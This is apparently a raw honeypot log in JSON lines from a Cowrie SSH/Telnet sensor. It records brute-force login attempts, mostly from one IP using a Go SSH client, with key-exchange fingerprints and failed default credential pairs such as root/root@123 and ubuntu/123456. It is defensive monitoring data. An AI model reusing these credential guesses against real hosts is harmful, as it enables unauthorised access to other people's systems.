fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:08.456256Z","src_ip":"176.65.132.129","session":"65064c297dad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:08.702021Z","src_ip":"176.65.132.129","session":"65064c297dad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:09.786756Z","src_ip":"176.65.132.129","session":"65064c297dad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36478,"dst_ip":"159.203.135.109","dst_port":22,"session":"9313ec194930","protocol":"ssh","message":"New connection: 176.65.132.129:36478 (159.203.135.109:22) [session: 9313ec194930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:11.804488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:11.811753Z","src_ip":"176.65.132.129","session":"9313ec194930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:11.893498Z","src_ip":"176.65.132.129","session":"9313ec194930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:12.139329Z","src_ip":"176.65.132.129","session":"9313ec194930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:13.374457Z","src_ip":"176.65.132.129","session":"9313ec194930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc7b20382435","protocol":"ssh","message":"New connection: 176.65.132.129:36490 (159.203.135.109:22) [session: bc7b20382435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:15.175889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:15.180829Z","src_ip":"176.65.132.129","session":"bc7b20382435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:15.263049Z","src_ip":"176.65.132.129","session":"bc7b20382435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:15.510455Z","src_ip":"176.65.132.129","session":"bc7b20382435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:16.595484Z","src_ip":"176.65.132.129","session":"bc7b20382435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56096,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cd523286fe7","protocol":"ssh","message":"New connection: 176.65.132.129:56096 (159.203.135.109:22) [session: 9cd523286fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:18.555573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:18.670050Z","src_ip":"176.65.132.129","session":"9cd523286fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:18.673386Z","src_ip":"176.65.132.129","session":"9cd523286fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:19.005575Z","src_ip":"176.65.132.129","session":"9cd523286fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:20.091202Z","src_ip":"176.65.132.129","session":"9cd523286fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56112,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ae06f8b9ab","protocol":"ssh","message":"New connection: 176.65.132.129:56112 (159.203.135.109:22) [session: 16ae06f8b9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:22.112646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:22.117085Z","src_ip":"176.65.132.129","session":"16ae06f8b9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:22.198798Z","src_ip":"176.65.132.129","session":"16ae06f8b9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:22.445034Z","src_ip":"176.65.132.129","session":"16ae06f8b9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:23.530266Z","src_ip":"176.65.132.129","session":"16ae06f8b9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.17","src_port":25108,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df4786cd8d4","protocol":"telnet","message":"New connection: 64.62.197.17:25108 (10.17.0.5:23) [session: 0df4786cd8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:24.564314Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:24.573144Z","src_ip":"64.62.197.17","session":"0df4786cd8d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:24.577234Z","src_ip":"64.62.197.17","session":"0df4786cd8d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:24.581814Z","src_ip":"64.62.197.17","session":"0df4786cd8d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09313631057739258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:24.657338Z","src_ip":"64.62.197.17","session":"0df4786cd8d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56128,"dst_ip":"159.203.135.109","dst_port":22,"session":"93f371edad8f","protocol":"ssh","message":"New connection: 176.65.132.129:56128 (159.203.135.109:22) [session: 93f371edad8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:25.415678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:25.419958Z","src_ip":"176.65.132.129","session":"93f371edad8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:25.502321Z","src_ip":"176.65.132.129","session":"93f371edad8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:25.750800Z","src_ip":"176.65.132.129","session":"93f371edad8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:26.979572Z","src_ip":"176.65.132.129","session":"93f371edad8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35780,"dst_ip":"159.203.135.109","dst_port":22,"session":"a98f4d3b4b45","protocol":"ssh","message":"New connection: 176.65.132.129:35780 (159.203.135.109:22) [session: a98f4d3b4b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:28.805518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:28.813927Z","src_ip":"176.65.132.129","session":"a98f4d3b4b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:28.895820Z","src_ip":"176.65.132.129","session":"a98f4d3b4b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:29.141282Z","src_ip":"176.65.132.129","session":"a98f4d3b4b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54584,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e1243b38c9","protocol":"telnet","message":"New connection: 45.58.127.90:54584 (10.17.0.5:23) [session: 39e1243b38c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:29.238029Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:30.229159Z","src_ip":"176.65.132.129","session":"a98f4d3b4b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.606199502944946,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:30.486188Z","src_ip":"45.58.127.90","session":"fa20628a446a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.176.195.213","src_port":42533,"dst_ip":"10.17.0.5","dst_port":23,"session":"0024711cba88","protocol":"telnet","message":"New connection: 76.176.195.213:42533 (10.17.0.5:23) [session: 0024711cba88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:30.677648Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35792,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f05235cfad","protocol":"ssh","message":"New connection: 176.65.132.129:35792 (159.203.135.109:22) [session: d5f05235cfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:32.160403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:32.165160Z","src_ip":"176.65.132.129","session":"d5f05235cfad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:32.373988Z","src_ip":"176.65.132.129","session":"d5f05235cfad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:32.708861Z","src_ip":"176.65.132.129","session":"d5f05235cfad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":43273,"dst_ip":"10.17.0.5","dst_port":22,"session":"516e726926f9","protocol":"ssh","message":"New connection: 193.106.245.20:43273 (10.17.0.5:22) [session: 516e726926f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:33.100834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:33.104948Z","src_ip":"193.106.245.20","session":"516e726926f9","protocol":"ssh"}
